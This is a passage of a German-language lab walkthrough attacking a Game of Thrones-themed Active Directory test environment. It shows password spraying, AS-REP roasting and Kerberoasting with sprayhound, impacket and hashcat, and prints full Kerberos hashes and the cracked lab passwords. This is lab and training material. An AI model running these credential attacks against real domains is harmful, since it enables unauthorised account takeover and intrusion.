SMB         192.168.56.10   445    KINGSLANDING     cersei.lannister              2024-12-19 16:53:11 0       Cersei Lanister 
SMB         192.168.56.10   445    KINGSLANDING     tyron.lannister               2024-12-19 16:53:14 0       Tyron Lanister 
SMB         192.168.56.10   445    KINGSLANDING     robert.baratheon              2024-12-19 16:53:16 0       Robert Lanister 
SMB         192.168.56.10   445    KINGSLANDING     joffrey.baratheon             2024-12-19 16:53:18 0       Joffrey Baratheon 
SMB         192.168.56.10   445    KINGSLANDING     renly.baratheon               2024-12-19 16:53:21 0       Renly Baratheon 
SMB         192.168.56.10   445    KINGSLANDING     stannis.baratheon             2024-12-19 16:53:23 0       Stannis Baratheon 
SMB         192.168.56.10   445    KINGSLANDING     petyer.baelish                2024-12-19 16:53:25 0       Petyer Baelish 
SMB         192.168.56.10   445    KINGSLANDING     lord.varys                    2024-12-19 16:53:27 0       Lord Varys 
SMB         192.168.56.10   445    KINGSLANDING     maester.pycelle               2024-12-19 16:53:29 0       Maester Pycelle

Daraus ergibt sich die folgende Liste (valid_sk_users.txt) für Kerbrute:

tywin.lannister
jaime.lannister
cersei.lannister
tyron.lannister
robert.baratheon
joffrey.baratheon
renly.baratheon
stannis.baratheon
petyer.baelish
lord.varys
maester.pycelle

Mit dem folgenden Befehl führen wir das Password Spraying mit den Nutzernamen als Passwörter aus.

sprayhound -d SEVENKINGDOMS.LOCAL -dc 192.168.56.10 -U valid_sk_users.txt

sprayhound liefert uns dabei eine Ausgabe über die Anzahl der gestesteten Nutzer.

[+] 11 users will be tested
[+] 0 users will not be tested

Leider konnten wir in der SEVENKINGDOMS Domäne keinen Erfolg verzeichnen.

Domain “NORTH”

Das analoge Vorgehen mit der DC-IP 192.168.56.11 erzeugt die folgende Ausgabe:

[+] 11 users will be tested
[+] 0 users will not be tested
[+] [  VALID  ] hodor : hodor
[+] 1 user has been owned !

Der Nutzer “hodor” benutzt also seinen Nutzernamen als Passwort.

Domain “ESSOS”

Das analoge Vorgehen mit der DC-IP 192.168.56.12 erzeugt die folgende Ausgabe:

[+] 6 users will be tested
[+] 0 users will not be tested

In der ESSOS Domäne sind wir leider ebenfalls erfolglos.

AS-REP Roasting

Ein AS-REP ist die initiale Anfrage an den Authentification Service, um ein TGT zu erhalten. Also das Ticket, womit ich ein Service-Ticket anfragen kann. Falls der Server keine Pre-Authentification mit dem Nutzer Passwort forciert, kann jeder Netzwerkteilnehmer ein solches AS-REP Paket im Namen eines anderen Nutzers verschicken. Der Server antwortet daraufhin mit einem AS-REQ Paket, welches mit dem NTLM-Hash des Nutzers verschlüsselt ist. Dieses AS-REQ Paket können wir daraufhin mit Hashcat knacken.

Wir benötigen zuerst eine Nutzerliste, welche wir bereits beim Password Spraying oben bestimmt haben. Das AS-REP Roasting wird nun in jeder Domäne mit dem imapacket-Tool GetNPUsers.py separat durchgeführt.

Domäne “SEVENKINGDOMS”

Der Befehl, um AS-REP Pakete für Nutzer mit nicht-forciertem Pre-Auth zu schicken lautet wie folgt. Wie erwähnt, wird hier die Nutzerliste valid_sk_users.txt aus dem Abschnitt zum Password Spraying verwendet.

GetNPUsers.py sevenkingdoms.local/ -dc-ip 192.168.56.10 -no-pass -usersfile valid_sk_users.txt

Das Ergebnis des Befehls:

[-] User tywin.lannister doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User jaime.lannister doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User cersei.lannister doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User tyron.lannister doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User robert.baratheon doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User joffrey.baratheon doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User renly.baratheon doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User stannis.baratheon doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User petyer.baelish doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User lord.varys doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User maester.pycelle doesn't have UF_DONT_REQUIRE_PREAUTH set

Wie in der Ausgabe erkennbar ist, hat jeder Nutzer die Pre-Authentication forciert und das AS-REP Roasting funktioniert nicht.

Domäne “NORTH”

Das analoge Vorgehen erzeugt das folgende Ergebnis:

[-] User arya.stark doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User eddard.stark doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User catelyn.stark doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User robb.stark doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User sansa.stark doesn't have UF_DONT_REQUIRE_PREAUTH set
[email protected]:f2a7145962001a3ee65d2b29f518d5b4$b20d107636d177d28885dccccf90473982b4ce2b3a2a38151bfee5764739d5bdae7e053826a6bee6c710e363b289875049446ab07c07c9055fc2a4454b6ad3adb2dc121a2cc9fc2439f12c4418cdad1d3cd2645e83800745a24cf0fca2948df532a10cb68de74936fa2cd5788f5d47a87e82d60f57c75eea63570d179c51e7802cdf3f7a6975fedaced070a44c84741ce85ab7bf5d9d73517b85e727424d9d0310e1708c602c9dfaaa2b80c37a7b6961f543935c0419aa63f07e55eee31e1e631ae9eb531e8a6ef258579196e6e3831632c687691a7b8d111335cbbf97be027bb98ca69a9610c0a5cdf5940b92a618749f1c2b66eb41e9d338cb5ce3cf04e7679fa64a9b4c1e
[-] User rickon.stark doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User hodor doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User jon.snow doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User samwell.tarly doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User jeor.mormont doesn't have UF_DONT_REQUIRE_PREAUTH set

Der Nutzer “brandon.stark” forciert Pre-Authentication nicht und wir konnten ein AS-REP versenden und haben den zugehörigen NTLM-Hash. Diesen Hash (brandon_stark.hash) werden wir nun versuchen, mit Hashcat, der “rockyou” Wordlist und dem Modus 18200 zu knacken.

hashcat -m 18200 brandon_stark.hash /usr/share/wordlists/rockyou.txt

Hashcat hat hierbei ein positives Ergebnis erzielt:

Dictionary cache hit:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344385
* Bytes.....: 139921507
* Keyspace..: 14344385

[email protected]:f2a7145962001a3ee65d2b29f518d5b4$b20d107636d177d28885dccccf90473982b4ce2b3a2a38151bfee5764739d5bdae7e053826a6bee6c710e363b289875049446ab07c07c9055fc2a4454b6ad3adb2dc121a2cc9fc2439f12c4418cdad1d3cd2645e83800745a24cf0fca2948df532a10cb68de74936fa2cd5788f5d47a87e82d60f57c75eea63570d179c51e7802cdf3f7a6975fedaced070a44c84741ce85ab7bf5d9d73517b85e727424d9d0310e1708c602c9dfaaa2b80c37a7b6961f543935c0419aa63f07e55eee31e1e631ae9eb531e8a6ef258579196e6e3831632c687691a7b8d111335cbbf97be027bb98ca69a9610c0a5cdf5940b92a618749f1c2b66eb41e9d338cb5ce3cf04e7679fa64a9b4c1e:iseedeadpeople
                                                          
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 18200 (Kerberos 5, etype 23, AS-REP)
Hash.Target......: [email protected]
Time.Started.....: Mon Dec 23 13:34:42 2024 (0 secs)
Time.Estimated...: Mon Dec 23 13:34:42 2024 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:  1151.2 kH/s (0.76ms) @ Accel:512 Loops:1 Thr:1 Vec:8
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 54272/14344385 (0.38%)
Rejected.........: 0/54272 (0.00%)
Restore.Point....: 53248/14344385 (0.37%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#1....: soydivina -> 250984
Hardware.Mon.#1..: Util: 52%

Das Passwort des Nutzers “brandon.stark” lautet also “iseedeadpeople”.

Domäne “ESSOS”

Das analoge Vorgehen erzeugt das folgende Ergebnis:

[-] User daenerys.targaryen doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User viserys.targaryen doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User khal.drogo doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User jorah.mormont doesn't have UF_DONT_REQUIRE_PREAUTH set
[email protected]:6acfdd5363b246918bd0de74e5674500$ecb5655e719fa07e481cad13c546b411553c053bd9efefe30d09200ab32ec87cae4cfbec1124cd2ee2b74efe18443dc5fbfe0e7e0e74b93e25d149aa148abdb87c99966db3cf0397741c9e0bf4c9075cb50dca04eeec28e2eff9ffe6f2d74530f7851ba6578aa0d9dca35d844d2ae4a009cc37834f4214915eaed6e5ea3be6e44ce24fd1774c246d657c2239adb517507530cffa2a0a4e572f69559a1635a7078ca744880a294d7616445000d4bf036ada951ac1b54222c63ad13dac81d12c8439283585c393fcf9e270a2e79775f21b4f67c88b651ea29a78658879028172d37c2f24bb0c801b1cafb6
[-] User drogon doesn't have UF_DONT_REQUIRE_PREAUTH set

Der Nutzer “missandei” forciert Pre-Authentication nicht und wir konnten ein AS-REP versenden und haben den zugehörigen NTLM-Hash. Diesen Hash (missandei.hash) werden wir nun versuchen, mit Hashcat, der “rockyou” Wordlist und dem Modus 18200 zu knacken.

hashcat -m 18200 missandei.hash /usr/share/wordlists/rockyou.txt

Hashcat hat hierbei ein positives Ergebnis erzielt:

Dictionary cache hit:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344385
* Bytes.....: 139921507
* Keyspace..: 14344385

[email protected]:6acfdd5363b246918bd0de74e5674500$ecb5655e719fa07e481cad13c546b411553c053bd9efefe30d09200ab32ec87cae4cfbec1124cd2ee2b74efe18443dc5fbfe0e7e0e74b93e25d149aa148abdb87c99966db3cf0397741c9e0bf4c9075cb50dca04eeec28e2eff9ffe6f2d74530f7851ba6578aa0d9dca35d844d2ae4a009cc37834f4214915eaed6e5ea3be6e44ce24fd1774c246d657c2239adb517507530cffa2a0a4e572f69559a1635a7078ca744880a294d7616445000d4bf036ada951ac1b54222c63ad13dac81d12c8439283585c393fcf9e270a2e79775f21b4f67c88b651ea29a78658879028172d37c2f24bb0c801b1cafb6:fr3edom
                                                          
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 18200 (Kerberos 5, etype 23, AS-REP)
Hash.Target......: [email protected]:6acfdd5363b2469...1cafb6
Time.Started.....: Mon Dec 23 13:27:06 2024 (2 secs)
Time.Estimated...: Mon Dec 23 13:27:08 2024 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:  1179.8 kH/s (0.70ms) @ Accel:512 Loops:1 Thr:1 Vec:8
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 1796096/14344385 (12.52%)
Rejected.........: 0/1796096 (0.00%)
Restore.Point....: 1795072/14344385 (12.51%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#1....: francily -> founda
Hardware.Mon.#1..: Util: 91%

Das Passwort des Nutzers “missandei” lautet also “fr3edom”.

Kerberoasting

Beim Kerberoasting versuchen wir mit ermittelten Credentials TGS Tickets für SPNs anzufragen, welche wir dann ähnlich beim AS-REP Roasting mit Hashcat knacken können. Ein SPN (Service Principal Name) ist ein Identifikator von einem Service, welcher mit dem jeweiligen Service Account verknüpft ist.

Das Kerberoasting wird mit dem impacket-Tool “GetUserSPNs.py” durchgeführt. Um auf die SPNs zugreifen zu können, nutzen wir die Credentials von “robb.stark”. Der Parameter -request sorgt dafür, dass die entsprechenden TGS Tickets generiert werden. Der Befehl lautet also wie folgt:

GetUserSPNs.py -dc-ip 192.168.56.10 NORTH.SEVENKINGDOMS.LOCAL/robb.stark:sexywolfy -request

Die Ausführung gibt das folgende Ergebnis zurück.

ServicePrincipalName                                 Name         MemberOf                                                    PasswordLastSet             LastLogon                   Delegation  
---------------------------------------------------  -----------  ----------------------------------------------------------  --------------------------  --------------------------  -----------
HTTP/eyrie.north.sevenkingdoms.local                 sansa.stark  CN=Stark,CN=Users,DC=north,DC=sevenkingdoms,DC=local        2024-12-19 11:53:15.774903  <never>                                 
CIFS/thewall.north.sevenkingdoms.local               jon.snow     CN=Night Watch,CN=Users,DC=north,DC=sevenkingdoms,DC=local  2024-12-19 11:53:23.228158  <never>                     constrained 
HTTP/thewall.north.sevenkingdoms.local               jon.snow     CN=Night Watch,CN=Users,DC=north,DC=sevenkingdoms,DC=local  2024-12-19 11:53:23.228158  <never>                     constrained 
MSSQLSvc/castelblack.north.sevenkingdoms.local       sql_svc                                                                  2024-12-19 11:53:28.963001  2024-12-22 21:03:40.616180              
MSSQLSvc/castelblack.north.sevenkingdoms.local:1433  sql_svc                                                                  2024-12-19 11:53:28.963001  2024-12-22 21:03:40.616180              



[-] CCache file is not found. Skipping...
$krb5tgs$23$*sansa.stark$NORTH.SEVENKINGDOMS.LOCAL$NORTH.SEVENKINGDOMS.LOCAL/sansa.stark*$6e97d4ecb574811b9c1a4245cb7297c4$08ffd21bed0fdd8cf592242c431738fad856583958e408805526dad10907b6398b89ec6cf275dc472a2c924e814ae82bc2a8568c2b71e95b2c6910e905e8db55ed270b44b61c5ba5316893980ca02344affdd1383a2de05f1026b1dfd6904d495b6e5bdbf90b4648ba3139baaeaedc9ba6e2bc32c0e0ba95662eec34145d934b312b6c6f4bd0da9ae2a40440442b7b4079d7fe9611c4578a041e5a631851c254c98ba7df39bb16df0b67dc5596502d352a4526497e2791f7e5eca759815a21bdd3b9e28d7847f7666981d3df79a73ad723990091148634843ffbf1db5dafe8e472c7c424245c505b1be5ed99d5b60830b9352bd652f8e9b2d91a3549383741d81df6be350d26f702276100277b072e02774c4c10fce51b548546fb37cdf8bfa684abfc869d442dc7f62f85948a91d0bce3531053756adf524dda14dbc6db2f3bb7bedd2bbc587c6080f06bea5dd53f6754281f4274cea2610593b40c49c1880aaffbb6015eb937c7dcc67a5b4971fab2c262ef9e0d8de29f4d3ee8557acdecd87cf27411b032520a33f07aab80083529b10d4651820e56c111e39a8cfaef4374b1b4f2dbaf489d3d1cf8fcdd15cd1f49eb44d2cfae77463df1f7de6acaef052cb268e22d13d646ea8fddf7b48a640804c01008426b6764085e04a0224cda1d8cbdef09a5e78e39d406b6d2b5aaadd54aa040c5c19039b2333b2443a7609d10fad06fc3ca30637c3e73de4cc1ebf23a33367f9fa91bc53553de3fedf54d482572fafb10ac2bd2c7bb9f82646b822676ff173d41f4f2f5ba1f33515262b259a7444e5ab7c2f62d4c92cc08f53f8d64b90f9b5fde00b8ecc3f39b39c931801621ad57e99d5058e98ccfbf29078866a95ce41a58ef211c57ff21e556d5ca6428f4431d3ff40315789553a0e3cee7f5d027b6f95ed47a371453781fa854b2a80279726ee1a50dc83c88bfcdab62aa5100975bf71e1df7bdcd4fd3c61cbbaa5ec82da0ded8d1d0eeddd9f91e846de0b4afe1afa3ad6326d29e7f914e6a32aac6dd25c8e9214c31ce364358920cb60adf3678235ab694ec77e8969935d76c6bf941aa5cec2aec1659dbeec2e88113830f143d24ac16846d8d24bf7a462f94d3ba44f051f5bba494bfd4dd76e5480a9754fdccf8c1f0e2087f55ef893cd4ee16c20d1480d081e748e1895f6540b350498d508f6ca9cd17219aeb314e54f659594275edbfcf8ff2bd6b36d00d7178a9d82a462023ee26a7ce0a0715a41dd34f09115eb692ae3d7c76baa0c83ee6e366122d29ecbb3a9326eac4dd803b2361b7e076545b128068298b50d4cca97fd10381f2cec7d12e3fed81eef7381b3410ea00164cfc52f24dd58a75ea6a5867ee8de1067325ee8f2ae48599fd000b8cb95ccd6d92c76bdc4fdfdc4b104aed560b47e678a98bcf0adf94147179c2437c9071169d1cff9e36816a870773da52d28f17912b3a15c81202775d
$krb5tgs$23$*jon.snow$NORTH.SEVENKINGDOMS.LOCAL$NORTH.SEVENKINGDOMS.LOCAL/jon.snow*$d9e2565535532ef008ef5971a4bb6be5$792fc35945e516a50803f43bbb256ddb88c83d084a96f4dafdbe513e9927327df349925a4b352646b1ed5bd0b3368b5242909ba010f48d1d51cf796022cbf40ba7f04a2146a5119c9c1a1941a47f7fa47015b4702472464a5d64c7184b578cda9d3b9fee9985c09c86e400950ec3765df30357c3cf155f109cb0702c68eb0ece042daafb0fd5c17552a005916327bb7c7a6f229d093764f08861896cbe2448c82d78ae68407b881533c8ff9333b526edf1a876527971ab61565a09be0c842066550cbc76d47608e76dcbff5768f2b3db21da50fe17c60e35f2533e0f87cb8602da93d4f891c984bdd53f970300904a92216ac0958120624a146ab8f33563f1fc19b45b0f609a753623127efd92e4d988975965b59099c67de94129d300ae860ea49205cf3bd2c5dfb1b88643b53ac6bcb8fee447d7b8526c38b860a2d447637c246e76b5acd6240bc9fb9f59f45415c83373f24146af33dd0fcdbb3e08de092913b65519898e156cad24648d067a70f43294ac53162887efb06c9ef5019dbcfa91c5732fe320b4762db8465f63031aaf4a850d06f439f1b0e2d17862e14e2a527ef09f9a8d2950ba24f4f61309202e03d198b97648b73681ea85aece144fa1a58671d4372b36d051503478eebc48897a832c05781467c5f4286187f3a26d69f90af68c3626c10195dc48a421bf6c797642ab690fe93db9b851760fa9270cc86ffc6f242098aba9d0f5f6eefd2700b6b57ec5b9b4d24a8448fe1d9222de695801bd95c3912f2e26875ade2484a85a1e7feeb5069695e188b39fec79d86c3c38ab1fa77090634162167fbc40b34c97916d4ed55daceb8ca8a7e30e62d8ed5bcd547802e9b6be13a1e52078946b7f0a3915ba393085190d151d16887f40af33b657a6891348c678d551fd28b86a75bffefc86b5be5573aec5c13515c3ed129cab0342ab7b67e3a5b7b1f0df4ddde49d6a290afacf6af9abb820fb013c74b4a12417d1c6a0dce7e48a68d6f16642fec0d798e5a0059b0aec67239b01ce81b663078a4c846e97d9f4e0b1cbfeea77e3b12cd06a5a30416220a8b31acf4c122d366dac8bea29437ec2393c9f690ac45e4bf514662621fa63475242d452bd9aafbbe80521cc9fc7565298e0e5945b255bca82d830435d21193d1e7e14bd14689847e9c35a7ebc7b56951d0a33e4b36d5b22b202bf62ff9dcf743c4df1b8540f352668b8df98165574be804ab892245a5f98d5d07c2d424c6916190010148d94dd7edc5613e685126d311402678a2bc18a1650ebd35cff100ba111cf3a6c500610c2ad27ed11d242c72577eef1b9e13a388cf5582e3fbd28b1e4c2edd4b103bf1a0fe16ee74011420d0f9f9a52a3ba1a6d36750e333f30507735429e817dde9aabf285fbe0185457ea2b59fa96e0ab0391ea2036006170ac0efc5b8b4195713c28ec21ca624f35354f937b6f0603d61e0b89a1cfebe84b54
$krb5tgs$23$*sql_svc$NORTH.SEVENKINGDOMS.LOCAL$NORTH.SEVENKINGDOMS.LOCAL/sql_svc*$8a245c293ccff6900fd79dbe1d74f89f$c821faadb70ace1b37f009170850d4f892ff6fbe73c7dd53cb3fd92f03b1d8581c5a93996f23e5410c2762ee1974b882395d1be9df9773b403f3fd3366a87b1817249ca21d30ea600230f1c315e08bb8d3b889d4d752f674ab20c63e852b4822f06ddc0e12116da110230bbf90c2f5435c9bbb43689dd2f35b3ed29c4ad65f351390e5c5d2da66d6dbc283e615a0878eddfa3821e1f61f49378b2f6606c21f7d8b856408f5bec9a952646d8ad79c0b1427e9c1cc41c556814f43c8f5225ee2f1d6caa86b9b8e738d9e9d5f5f0186a82c14827e06cf0166e8c389ea6d7b599d252ba78ab917c461b8ba9a1e261bcddf6fe5f62a818edf2baeb5775ca93206fddb7ba191e69f8ecd7e2e82f2a96b0ecda9f0ebf0df0c23dac4a30c7159b4e8b711522e2b6dbc9488b6ca6b3dec5ecc171601036180fcf488484a9b08ae95544f051fb256d05aca9bbbdc2e10505f2197b96e5ed9c766461088b0dd792853f0a6e3f81823861403fba7d1b4cd4f5f0f17ea904fb45f464116d580d0416419c5a0025c007bfb99d38bdd706f849e5fcabb6ac50c7a92dd40edc65e563c9a18bc070254c80bf9554153e607b76c19a620a2a5441f8645c57014c7ffac17b90a1a6b87eac0b5c2d6107be8646a6e9d067870b65699d78fc218bc7fa6eefbcaf75c5de15d3251d6d7b2b4e529b0471dff3b65e8ea01713a1b02f9161626f74c467ea4d37512fbaea6416e1302c993948ff20916747f9566375fe1fa4cf1104f9b86617b08075764b8451e2d54b34504336f81139e56ac2f729ca570dd00ade0a18fbc528472dd35d6a76893a0c1f6bda08f0eeb8debce777a5fe9127c71eec21b601ee46cd3b966794b0fcb0928cabf4c2676884a281fc28a1b8e972f81bfc0ad1b7a0a67d34c6da314e251e8f88fa5f1bfedf71de42b05a51cb99920e1388dc25ce429321fa275d8e925c935ea3bd4ee02c38051911b0ea9f0dbabde2ff3074cf23ad69ff58e278bfebf3c7ec911ac49f52aef937ac11c747d9104c5f5c49d67d451cc3bf8e734deab47724ebd9560b5dd7a5616957b1f4d7829f6237cb4771367e80d7a693f4ed791e845877cf736d44d51fd72af65af83e7cdf1b192e83a39c12f8a3e8cee71b84d83b1a325c9af8208041b9ce4954cba7fb90696d06cee174f4de9b0af9c6c9a51e7d2be3246f7e97524ed91fef191fb5fe05c07a3338ac2acc22495d29ba0708ed756e3d3e3250680a6d8d4e57d0ab33e23493a3a7dcb57ae865190b4f15b938205ba343e9f1280fae887b797d324d332f68e6155fb123e2789ec65897a0d4bfaa690e9a85f21afb5f1f4ba61e4dd285843cc08989f485af110b62aabbf6747572c80308299091b4c0adea3b2a3cb5f5b4537b47311d4de0f9e3aa9123f1198a269dce88dc31bf3b1578e425db8fbf660c05666ee27540563c0179e88775e52ac5bebae0a575a79dc0bfbc2761be2

Zu sehen sind die SPNs und die jeweiligen TGS Tickets der Nutzer “sansa.stark”, “jon.snow” und “sql_svc. Wir versuchen nun die Hash-Werte mit Hashcat zu knacken.

Wir beginnen mit dem Cracking beim Nutzer “sansa.stark”.

hashcat -m 13100 sansa_stark.hash /usr/share/wordlists/rockyou.txt

Hier findet Hashcat leider keinen passenden Passwort-Kandidaten.

Entsprechend folgt der Nutzer “jon.snow” analog zu “sansa.stark”. Hier gibt es einen Treffer:

Dictionary cache hit:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344385
* Bytes.....: 139921507
* Keyspace..: 14344385

$krb5tgs$23$*jon.snow$NORTH.SEVENKINGDOMS.LOCAL$NORTH.SEVENKINGDOMS.LOCAL/jon.snow*$d9e2565535532ef008ef5971a4bb6be5$792fc35945e516a50803f43bbb256ddb88c83d084a96f4dafdbe513e9927327df349925a4b352646b1ed5bd0b3368b5242909ba010f48d1d51cf796022cbf40ba7f04a2146a5119c9c1a1941a47f7fa47015b4702472464a5d64c7184b578cda9d3b9fee9985c09c86e400950ec3765df30357c3cf155f109cb0702c68eb0ece042daafb0fd5c17552a005916327bb7c7a6f229d093764f08861896cbe2448c82d78ae68407b881533c8ff9333b526edf1a876527971ab61565a09be0c842066550cbc76d47608e76dcbff5768f2b3db21da50fe17c60e35f2533e0f87cb8602da93d4f891c984bdd53f970300904a92216ac0958120624a146ab8f33563f1fc19b45b0f609a753623127efd92e4d988975965b59099c67de94129d300ae860ea49205cf3bd2c5dfb1b88643b53ac6bcb8fee447d7b8526c38b860a2d447637c246e76b5acd6240bc9fb9f59f45415c83373f24146af33dd0fcdbb3e08de092913b65519898e156cad24648d067a70f43294ac53162887efb06c9ef5019dbcfa91c5732fe320b4762db8465f63031aaf4a850d06f439f1b0e2d17862e14e2a527ef09f9a8d2950ba24f4f61309202e03d198b97648b73681ea85aece144fa1a58671d4372b36d051503478eebc48897a832c05781467c5f4286187f3a26d69f90af68c3626c10195dc48a421bf6c797642ab690fe93db9b851760fa9270cc86ffc6f242098aba9d0f5f6eefd2700b6b57ec5b9b4d24a8448fe1d9222de695801bd95c3912f2e26875ade2484a85a1e7feeb5069695e188b39fec79d86c3c38ab1fa77090634162167fbc40b34c97916d4ed55daceb8ca8a7e30e62d8ed5bcd547802e9b6be13a1e52078946b7f0a3915ba393085190d151d16887f40af33b657a6891348c678d551fd28b86a75bffefc86b5be5573aec5c13515c3ed129cab0342ab7b67e3a5b7b1f0df4ddde49d6a290afacf6af9abb820fb013c74b4a12417d1c6a0dce7e48a68d6f16642fec0d798e5a0059b0aec67239b01ce81b663078a4c846e97d9f4e0b1cbfeea77e3b12cd06a5a30416220a8b31acf4c122d366dac8bea29437ec2393c9f690ac45e4bf514662621fa63475242d452bd9aafbbe80521cc9fc7565298e0e5945b255bca82d830435d21193d1e7e14bd14689847e9c35a7ebc7b56951d0a33e4b36d5b22b202bf62ff9dcf743c4df1b8540f352668b8df98165574be804ab892245a5f98d5d07c2d424c6916190010148d94dd7edc5613e685126d311402678a2bc18a1650ebd35cff100ba111cf3a6c500610c2ad27ed11d242c72577eef1b9e13a388cf5582e3fbd28b1e4c2edd4b103bf1a0fe16ee74011420d0f9f9a52a3ba1a6d36750e333f30507735429e817dde9aabf285fbe0185457ea2b59fa96e0ab0391ea2036006170ac0efc5b8b4195713c28ec21ca624f35354f937b6f0603d61e0b89a1cfebe84b54:iknownothing
                                                          
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 13100 (Kerberos 5, etype 23, TGS-REP)
Hash.Target......: $krb5tgs$23$*jon.snow$NORTH.SEVENKINGDOMS.LOCAL$NOR...e84b54
Time.Started.....: Mon Dec 23 13:57:59 2024 (9 secs)
Time.Estimated...: Mon Dec 23 13:58:08 2024 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:   949.3 kH/s (1.32ms) @ Accel:512 Loops:1 Thr:1 Vec:8
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 7434240/14344385 (51.83%)
Rejected.........: 0/7434240 (0.00%)
Restore.Point....: 7433216/14344385 (51.82%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#1....: ikupjesus -> ikkiattle
Hardware.Mon.#1..: Util: 49%

Das Passwort von “jon.snow” lautet also “iknownothing”.

Zuletzt versuchen wir die Credentials von “sql_svc” analog zu ermitteln. Hier hat Hashcat leider keinen Erfolg.

Beim Nutzer “missandei” aus der ESSOS Domäne ist analog vorzugehen. Hier erwartet uns das folgende Ergebnis zur SPN-Suche.

ServicePrincipalName               Name     MemberOf  PasswordLastSet             LastLogon                   Delegation 
---------------------------------  -------  --------  --------------------------  --------------------------  ----------
MSSQLSvc/braavos.essos.local       sql_svc            2024-12-19 11:53:15.989830  2024-12-22 21:04:05.866164             
MSSQLSvc/braavos.essos.local:1433  sql_svc            2024-12-19 11:53:15.989830  2024-12-22 21:04:05.866164             



[-] CCache file is not found. Skipping...
$krb5tgs$23$*sql_svc$ESSOS.LOCAL$ESSOS.LOCAL/sql_svc*$2ac0b83f0b96463234d7ca9a8076361a$7d95dc10a909cb9331e8b7d83ebf26c68de381544895c2250cdc936dccb31a7cbab7c2d56cba70b4a3cd586b2f24fcec280d76ea265b8ed5e25bc955fc560401359c92fde80cc4bab29dc42928642ccc6e821f22dd5964c59099be5965872929489c7287a6407726f1e73ae767d85100dc7898b93eb18ffa2415172bc8b92fbabe3ae08ae3c8f62f03e7733e7261cdc352f592b1f0e05ecd67042ab29f239340a648d531a44c22a2b8c8d7aa8cdb9ca2c09004df9eec18d2f26ed4f8969f5eff45a82ba3a1b4605edf0ce209ab028cf42e69ea4d138ff8038d0b89b5c8f53ddbab0b12e1a60b096ec6f6ec1832e454e5fe11042efebd3329fb72dc52244efe7792c45fcf993b1881d709a3bf5a308fdf67150699a371eb27064fdeae8e9744c72d757442a04b21ef5f6256c7fbfa7d77c7d3ec41b385150cf93fc37bbc5611e9ea9029496bed785c5d75fae446a3b48275b76714901ccc2103579beb31fc9c0034e1f6f43396912afc2b360b9aa39e8be229312ea06d4fc6d9c76c68edae818ce57d71b4001931b2e082089e36c70d8f17c5a0a46b23de21b9de541c53208fbdc7cd33e24de18f81dfaaf84246d02a2be91d24cf84155cbab380d09fd81c843c4b992e48b736545f32c090f412581624bd31949d4885e25c0852864acc32b6415d0598a58b56b8debcd8fdcf25b0bec41e04bf1b61f2acbf369432c56544ff4afac564055088d4ff54a016a18abfffc59790702b8111f6efdfbb88f535dcaf8eee8b072ee2ddbf20724d0d2d95ba1830876684328eb091ecc350ac44c6b2bae86dde671ccefd3b33d04907d8ef941f4a6ddc492a20c085022de265676efda0575bf4fe955e8327704559ed8c9546854c6eb34275cf9a73a772035ee162083632abc27906e3b9f629080ea15213880be8542099f7c394e4861bf54efa3d2a39d62ee49f03cbac806ba9686a09ccc8f8fdb19d9f8a2aa0b390fff5374cfb39ab7c1ce9cd3a8066d623843f7e309f580484b011d7f38ccf7a16d6f0a7f4f21e9df3611866236101051c45f08b5a19d0720b94d6b6c234d9b57ead228b1606a98e366ffbb9acb0349030c7c78da83ce13216a1d3811826d5e8050c2179fcad2ce23ef032eaf1613b5a00a0c4348f3c2d5620ea76268b07f1f3fffdeeec323ce5b639ab437d47de46c0d87885fcbc5105b880b6a279111c3e7f83280eedb0527640fb8a5df2d76163969677a663a50ea5cc56d5d1eeda2a65fd91b232cc882b80870a38e43f951ae715ac3f756edd54a84ac197787d76f2cdc5d6d295c7a88bd1eef985153a4e4e

In der Domäne ESSOS wurde also lediglich dem Nutzer “sql_scv” ein SPN zugewiesen. Das Knacken von diesem TGS Ticket war leider erfolglos.

NTLM Relay

